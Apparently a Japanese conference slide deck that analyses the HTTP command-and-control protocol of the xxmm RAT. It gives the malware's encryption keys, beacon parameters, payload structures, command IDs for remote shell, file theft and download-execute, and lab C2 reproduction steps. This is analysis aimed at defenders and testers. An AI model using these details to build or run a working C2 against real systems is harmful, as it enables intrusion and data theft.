C&C 完全に理解した

標的型攻撃に使用されたマルウェア xxmm から学ぶ、HTTPを用いたコマンド&コントロール実装
中津留 勇
Counter Threat Unit
SecureWorks Japan 株式会社
2019/01/18
Japan Security Analyst Conference 20190

ゴール
アナリスト、研究者、セキュリティ製品開発者• 近年の C2 実装に関する情報を提供すること• 暗号化、圧縮、独自のデータ構造など• マルウェア/C2 解析の教材となる情報を提供すること• 自身の解析結果と比較可能な資料

インシデント対応に関わる方• プロキシログ分析の重要性、警察や JPCERT/CC 等の機関による調査の重要性を認識してもらうこと
Red Team ペンテスター• ペネトレーションテスト（特に脅威ベース）の質の向上に繋がる C2 実装の詳細を提供すること

1

目次• 解析対象は xxmm
• xxmm 通信の解析• xxmm のC2 ペイロードの解析• 解析結果の検証

2

解析対象は xxmm
3

xxmm (a.k.a. Minzen)
BRONZE BUTLER が使用した RAT マルウェア• 以下の点で近年の C2 実装を理解する上で良い• HTTP/S を使いプロキシも対応している• GET または POST リクエストで情報をやりとりする• TCP/UDP/ICMP もサポートしている• 暗号化を行う• C2 通信で RSA とワンタイム RC4 を組み合わせて使用する• 独自のデータ構造を持つ• 様々なコマンドが実装されている
4

主な C2 機能
スリープ
ドライブ情報取得
ファイル操作（表示、作成、削除、ダウンロード、アップロードなど）
ディレクトリ作成
プロセス作成リモートシェル

5

BRONZE BUTLER の今2018頭から活動が見えていない状況• Datper の亜種が 2017年11月から観測されている• e.g. 517b2695bbf7164bfb9cab0a133bb0b1aeb387cbb7f30aa01bf5d6f89cca4214• RC4 の初期化処理に手が加えられている

6

ファイル情報• xxmm ドロッパー (VT Enterprise でダウンロード可能)
SHA-256 ハッシュ値

4d208c86c8331b7f1f6dd53f83af9ee4ec700a74792b419f663a3ce105d15
d1c

ファイルタイプ

PE32 executable (GUI) Intel 80386, for MS Windows

PE タイムスタンプ

Thu May 12 02:44:45 2016 UTC

First seen on VT

PE32 executable (GUI) Intel 80386, for MS Windows• xxmm メインモジュール (最終的にロードされる)
SHA-256 ハッシュ値 714863d7d951e87c9cbde87882f9038db7ad7c8dacd29b2c12eb9ebca07
5ecb8
ファイルタイプ
PE32 executable (console) Intel 80386, for MS Windows
PE タイムスタンプ

7Thu May 12 02:44:51 2016 UTC

解析対象はコレ参考情報
解析の手助けとなるファイル、ツール• xxmm2_build.exe• https://www.virustotal.com/#/file/76340ef248c286270a07e2aee
c7b1d6a007e77adde08dc6c1dcaa176aef9e1a8/detection• xxmm2_steganography.exe• https://www.virustotal.com/#/file/27f3a4c757f6e81a0546e47b9
7cbaab5e5e2b82a6ec2694641cd41ec47b90766/detection• wincrypto - Python モジュール• https://github.com/crappycrypto/wincrypto• lznt1 - Python モジュール• https://github.com/you0708/lznt18解析対象の取り出し
xxmm ドロッパーは 32ビットと 64ビット両方のバイナリを抱えている
ドロッパー

インストーラローダー

メインモジュール

(%TEMP% に作成される)(サービスや runky に登録される)(正規ファイルのプロセスにインジェクトされる)

32ビット

DLL と UAC バイパス用のモジュールも含まれる
64ビット

すべてのバイナリは RC4暗号
化 + LZNT1圧縮されてリソースに格納されている(RC4 鍵は "1234")9暗号化されたリソースの復号
Python スクリプトを作成
32ビット版のメインモジュール[+] could not find rc4key, use default key: 1234[+] saved unpacked xxmm as xxmm_dropper_unpacked_0.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_0.bin[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_1.bin[+] saved unpacked module as xxmm_dropper_unpacked_1_unpacked_2.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_3.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_1_unpacked_0_unpacked_0.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_0.bin[+] saved unpacked module as xxmm_dropper_unpacked_0_unpacked_1.bin[+] saved unpacked module as xxmm_dropper_unpacked_0_unpacked_2.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_3.bin[+] saved unpacked xxmm as xxmm_dropper_unpacked_0_unpacked_0_unpacked_0.bin
10xxmm メインモジュールの動作の流れ
1. 検体内の設定情報を読み込む• C2 URL、暗号鍵、バージョン情報など

2. C2 コマンドを初期化

3. C2 処理のスレッドを作成
11

1. 検体内の設定情報の読み込み
xxmm メインモジュールの動作の流れ
設定情報は "f" でXOR エンコードされている

12

2. C2 コマンドの初期化
xxmm メインモジュールの動作の流れ

リンクリスト形式のコマンドリストを作成

13

3. C2 処理のスレッド
xxmm メインモジュールの動作の流れ

7つの C2 サーバ情報を設定情報に格納できる

14

xxmm 通信の解析

15

通信プロトコル
xxmm は様々なプロトコルを通信に使用することができる

16

Type

ProtocolDescription

0

HTTP

C2 通信

1

HTTP

C2 通信

2

HTTPC2 情報のダウンロード専用

4TCP

C2 通信用の TCP 独自プロトコル

5

UDP

C2 通信用の UDP 独自プロトコル

6

ICMP

ICMP echo を使った C2 通信

xxmm 通信の解析

Type 2: C2 情報のダウンロード

17画像ファイルへの GET リクエスト
画像 URL へのよくあるアクセスを模倣
URL は設定情報で指定
GET /test/test.jpg HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache18画像ファイルに含まれるペイロード
C2 コマンド (DownloadExecute/ChangeURL) が含まれる

マーカーも設定情報で指定

開始マーカーxxmm
19

Encrypted payload

終了マーカー
mmxxxxmm 通信の解析

Type 0,1: HTTP での C2 通信

20HTTP を用いた C2 通信の流れ
設定情報に記載された C2 サーバと通信を行う
Ping
Pong

1. コマンドのリクエスト
2. コマンドを受信
xxmm

Ping
Pong

3. 結果の送信
21

C2 サーバPing/Pong

C2 サーバとの疎通確認• すべての C2 通信の前に Ping/Pong 通信が発生するようになっている
GET /index.php?id0=39454275&id1=0&id2=f7547c11&id3=0&id6=2400000 HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache
HTTP/1.1 200 OK(snip.)Content-Length: 1122

1, 3. HTTP リクエストに含まれるパラメータ
GET /index.php?id0=b78503d0&id1=0&id2=f7547c11&id3=1&id4=AAAACAAA(snip.)gPcv^lQ!!&
id6=2400000 HTTP/1.1
Accept: */*Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; SV1)
Host: www.example.com
Cache-Control: no-cache

内容

23

Ping
8文字の16進文字列

結果の送信

コマンドのリクエスト

8文字の16進文字列

8文字の16進文字列

0

ランダムな文字列1

定数2

クライアント ID

3

リクエストタイプ

000
サイズが大きい場合は8文字の16進文字列 8文字の16進文字列 8文字の16進文字列
POST データとして送信される
01
2

4

ペイロード

Base64 に似た文字列

5不明

6インターバル?
2400000（可変）?
2400000（可変）?
2400000（可変）2. コマンドの受信
コマンドのリクエストに対するレスポンス
HTTP/1.1 200 OK(snip.)
Content-Length: 104
AAAACAAAAAAFCcE1DOwHDQ8bBCDZZwfUoyA9ivQW6nHnTwEXmPi8H9MHlLS
96GPjJLg6NV5Sx28u3SEZavkcRgvIxmsbLZIOha6yyw!!

GET リクエストのパラメータ4 と同様の方法
で暗号化されている

24

GET リクエストの暗号化されたペイロード
RSA が有効化されている場合• LZNT1 圧縮
LZNT1

RSA + RC4

• RtlCompressBuffer を使って圧縮• 1バイトのヘッダ（フラグ）が追加される• ランダムなワンタイムキーを使った RC4 暗号化• ワンタイムキーは RSA 公開鍵で暗号化• 変則 Base64 エンコード

変則Base6425• ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789+/=↓
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789^`!

ワンタイムキーを用いた暗号化
2つの RSA 鍵ペア• ワンタイム RC4 鍵をサーバの公開鍵で暗号化• RC4 暗号化 + LZNT1 圧縮されたペイロード

サーバ
公開鍵

サーバ
秘密鍵

xxmm

C2 サーバクライアント•秘密鍵

ワンタイム RC4 鍵をクライアントの公開鍵で暗号化• RC4 暗号化 + LZNT1 圧縮されたペイロード

26

クアイアント公開鍵ペイロードの復号
暗号化・エンコードされたペイロード
AAAACAAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^lQ!!
変則 Base64 デコード

ヘッダ長

RSA フラグ(0x00000001)

RSA 暗号化された

RC4 鍵

RC4暗号化されたペイロード
RSA + RC4 復号

圧縮
フラグ
27

LZNT1 圧縮された、または平文のペイロード

GET リクエストの暗号化されたペイロード
RSA が無効化されている場合• LZNT1 圧縮
LZNT1• RtlCompressBuffer を使って圧縮• 1バイトのヘッダ（フラグ）が追加される• デフォルトの鍵を使用して RC4 暗号化• デフォルトの鍵は "1234"

RC4• 変則 Base64 エンコード
変則Base6428• ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789+/=↓ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstu
vwxyz0123456789^`!

ペイロードの復号
暗号化・エンコードされたペイロード
AAAACAAAAAAFNsGPeUog(snip.)WoPns^c`p`AXiKBAgPcv^lQ!!
変則 Base64 デコード

ヘッダ長

RSA フラグ(0x00000000)

RC4暗号化されたペイロード
RC4 復号

圧縮フラグ
29

LZNT1 圧縮された、または平文のペイロード

xxmm のC2 ペイロードの解析30ペイロードのフォーマット
• コマンドに関する情報は "item" として格納されている
ヘッダ長

RSA フラグ

RSA 暗号化された(0x00000001)

圧縮
フラグ

ペイロード
ヘッダ
31

RC4 鍵

RC4暗号化されたペイロード

LZNT1 圧縮された、または平文のペイロード

Items
ヘッダ

Item

Item

Item

Item

Item 構造体
xxmm は通信と設定情報にこの構造体配列を使用している• フォーマット: LengthID• ID は項目毎に様々な種類が存在• e.g. xor デコード後の設定情報

32

Data

Items 構造体
ヘッダ + Item データ• フォーマット:Length
Type
Items data
• Type 0/10: 受信データ, Type 1/11: 送信データ, Type 2: 設定• e.g. xor デコード後の設定情報

33

Analyzing Items/Item Structure

Items 構造体をパースし別の構造体に格納してから、その後の処理で各 item にアクセスする34

ペイロードヘッダ
オフセットサイズ

内容説明

edc80b19

0x00

4

タイムスタ
ンプ

00000000

0x04

4

分割数

“items” が何ブロックあるか(分割されていなければ 0)0172d2180x08

1

1バイトのフラグ0: 最大サイズより大きいか
1: 最大サイズより小さいか0x0C

可変Items

GetTickCount の値

0000007a
00000001

00000018…
35

ペイロード

C2 通信の詳細
item を使ったコマンドの受信と結果の送信
コマンドリクエスト

ペイロード
ヘッダ

Item

Items
ヘッダ

0x10001

Item
API 名

0x10002

Item

タイム
スタンプ

・・・

引数

C2 サーバ

xxmm
ペイロード
ヘッダ

Items
ヘッダ

Item
0x10001

Item
API 名

0x10002

タイム
スタンプ

受信コマンドの値のコピー
36

Item0x20004

ステータ
スコード・・・

RAT コマンド: xxmm API• GetSystemInformation• DownloadExecute• ChangeUrl• ChangeTimeInterval• Uninstall• PlugIn• PowershellEncodedCommand• CreateProcessLow

37

RAT コマンド: スタンダード(?) API• stdapi_execute_sleep• stdapi_execute_commandgroup• stdapi_syncshell_kill• stdapi_syncshell_control• stdapi_syncshell_open• stdapi_cmd_kill• stdapi_cmd_control• stdapi_cmd_open• stdapi_fs_search• stdapi_fs_file_upload• stdapi_fs_file_download• stdapi_fs_file_excute• stdapi_fs_GetLogicalDriver38• stdapi_fs_sha1• stdapi_fs_md5• stdapi_fs_file_move• stdapi_fs_file_expand_path• stdapi_fs_stat• stdapi_fs_separator• stdapi_fs_delete_file• stdapi_fs_delete_dir• stdapi_fs_mkdir• stdapi_fs_chdir• stdapi_fs_getwd• stdapi_fs_ls

Metasploit API ベース？

Metasploit API と同じ名前を使用

39

コマンドの詳細
コマンド
GetSystemInformation
DownloadExecute
ChangeUrl
ChangeTimeInterval
Uninstall
PlugInPowershellEncodedCommand

CreateProcessLow

40

引数 1

引数 2

引数 3

戻り値 1

戻り値 2

戻り値 3---

0x4001A

-

-

-

-

-

System info--

0x404D50x104D3

0x204D4---

File data

File path

Show flag---

0x104F60x20529

-

-

-

-

C2 URL

Server No.

----

0x204F7-----

New interval-----0x20535

----

-

Run key flag

-

-

-

-

-

0x404D5

-

-

-

-

-

file data-

-

-

-

-

0x104F8-

-

-

-

-

Encoded PS
command-

-

-

-

-

0x1052D

0x2052E

-

-

-

-

Command line

Alt process

-

-

-

-

Command Details
コマンド
stdapi_fs_ls
stdapi_fs_getwd
stdapi_fs_chdir
stdapi_fs_mkdir
stdapi_fs_delete_dir
stdapi_fs_delete_file
stdapi_fs_separator
stdapi_fs_stat

41

引数 1

引数 2

引数 3

戻り値 1

戻り値 2

戻り値 3

0x104B0--0x104B10x104B20x800004C4Target dir--

File name

Full path

File stat---0x104B0-----

Current dir--

0x104B0-----

Target dir

-

-

-

-

-

0x104B0-

-

-

-

-

Target dir

-

--

-

-

0x104B0-

-

-

-

-

Target dir

-

--

-

-

0x104B2

-

-

-

-

-

Target file

-

-

-

-

-

-

-

-

0x1000A

-

-

-

-

-

Path separator--

0x104B2--0x800004C4--

Target file--

File stat--Command Details
コマンド
stdapi_fs_file_expand_path
stdapi_fs_md5
stdapi_fs_sha1
stdapi_fs_GetLogicalDriver
stdapi_fs_file_executestdapi_fs_file_download
stdapi_fs_file_upload
stdapi_fs_search

42

引数 1

引数 2

引数 3

戻り値 1

戻り値 2

戻り値 3

0x104B2--0x104B2--

Target path--

Full path--

0x104B2--0x104B1--

Target path--MD5 digest--

0x104B2--0x104B1--

Target path--

SHA-1 digest

-

-

-

-

-

0x104B20x204D2

-

-

-

-

Drive root

Drive type-0x104D3

0x204D4

-

-

-

-

Command line

Show flag

-

-

-

-

0x104B20x104B2-

0x104B20x104B20x404D5

Target pathUnknown-File pathUnknown

File data

0x104B20x104B20x404D50x104B20x104B2-

Target pathUnknown

File data

File pathUnknown-

0x104D00x104CF

0x804CE0x104B20x104B10x204B4

Target path

Target filename

Recursive flag

DirFilename

File size

Command Details
Commandstdapi_cmd_open
stdapi_cmd_control
stdapi_cmd_kill
stdapi_syncshell_open
stdapi_syncshell_control
stdapi_syncshell_kill
stdapi_execute_commandgroup
stdapi_execute_sleep

43

Argument 1Argument 2

Argument 3

Result 1

Result 2

Result 30x104D3

0x2050A-0x2050A--

Alt shell

Terminate flag-PID--

0x404D6--

0x404D6--

Shell command--

Output--------------

0x104D3-----

Alt shell

--

--

-

0x404D6--

0x404d7--

Shell command--

Output--------------

0x404D8-----

Command group-----

0x204D9-----

Sleep time-----

引数の解析について特定の item を取得する箇所に注目すれば良い• e.g. ChangeUrl コマンド

各コマンド関数には引数となる item をパースする箇所が存在している

44

例: ファイルのアップロード
感染端末上の C:¥hoge.txt の取得
コマンドリクエスト

ペイロード
ヘッダ

Items
ヘッダ

Item

Item

Item

Item

0x100010x100020x104B20x104B2

u'C:¥hoge.txt'''
AAAAiAAAAAFg`y7o2T7BvTFDZDWFuR0Uuu7rlk0uUUytKzrp6Mxy`^AfuAHr1a(snip.)RHJp6p8
qQ5LppSwF4HoD4SRS3i8D5zMmHIxo9N1jtk89i992GlvEfWr1t57gl0LTZQXVihmeedUNbI!
'stdapi_fs_file_download'

タイムスタンプ

C2 サーバ

xxmm
ペイロード
ヘッダ

Items
ヘッダ

ItemItem

Item

Item

Item

Item

0x100010x100020x20004

0x104B2
﻿0x104B2

0x404D5'stdapi_fs_file_download'

タイム
スタンプ

ステータス
コードu'C:¥hoge.txt
'''

ファイル
データ

GET /index.php?id0=d65d4f8a&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAA(snip.)Izxj4ER6A^Dg!!&id6=1000045

例: リモートシェル
ipconfig の実行
コマンドリクエスト
Item
Item
ペイロー Items
ドヘッダ ヘッダ 0x10001 'stdapi_cmd_open' 0x10002 タイムスタンプ
AAAAiAAAAAEmb`Wsg0WNLPFrSlzQT9Dd7lHE(snip.)sUsgDpsHqMRYh97zmm0lPnMW^utiDGkFFbNIpgva4QHcNx

Item
Item
Item
ペイロー Items
ドヘッダ ヘッダ 0x10001 'stdapi_cmd_open' 0x10002 タイムスタンプ 0x20004 ステータスコード
GET /index.php?id0=55243eab&id1=0&id2=f7547c11&id3=1&id4=AAAAiAAAAAGiI(snip.)uBRuYfmCLbo!&id6=10000

xxmm

コマンドリクエスト
Item
Item
Item
ペイロー Items
ドヘッダ ヘッダ 0x10001 'stdapi_cmd_control' 0x10002 タイムスタンプ 0x404D6 'ipconfig'
AAAAiAAAAAFWzEmlvPSj8KASo0uPFhrzCEM5(snip.)haf6XHV8jpRQcXyU71sI`6Ul2MbbVvBpXGdaQuXZ3BlHl7

Item
Item
Item
Itemペイロー Items
ドヘッダ ヘッダ 0x10001 'stdapi_cmd_control' 0x10002 タイムスタンプ 0x20004 ステータスコード 0x404D6 出力
POST /index.php?id0=44be644f&id1=0&id2=f7547c11&id3=1&id6=10000, id4=AAAAiAAAAAF(snip.)HiNsLOaIMa3

46

C2 サーバ解析結果の検証
47

C2 再現環境の構築
C2 再現用の簡易スクリプト作成

2組の RSA 鍵ぺアを新規作成

xxmm を仮想インターネット環境で実行• 設定情報内の RSA 鍵を事前に書き換えておく48Base Provider Key BLOBs

CryptImportKey API で読み込み可能な RSA 鍵のフォーマット• https://docs.microsoft.com/en-us/windows/desktop/seccrypto/base-provider-key-blobs• PowerShell コマンドで作成可能

Add-Type -AssemblyName System.Security$RSA = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_server_public_key.bin" -Value $RSA.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_server_private_key.bin" -Value $RSA.ExportCspBlob($True) -Encoding Byte
$RSA2 = New-Object System.Security.Cryptography.RSACryptoServiceProvider
Set-Content "rsa_client_public_key.bin" -Value $RSA2.ExportCspBlob($False) -Encoding Byte
Set-Content "rsa_client_private_key.bin" -Value $RSA2.ExportCspBlob($True) -Encoding Byte
49

再現時のパケットキャプチャ
dir コマンドの実行

50

51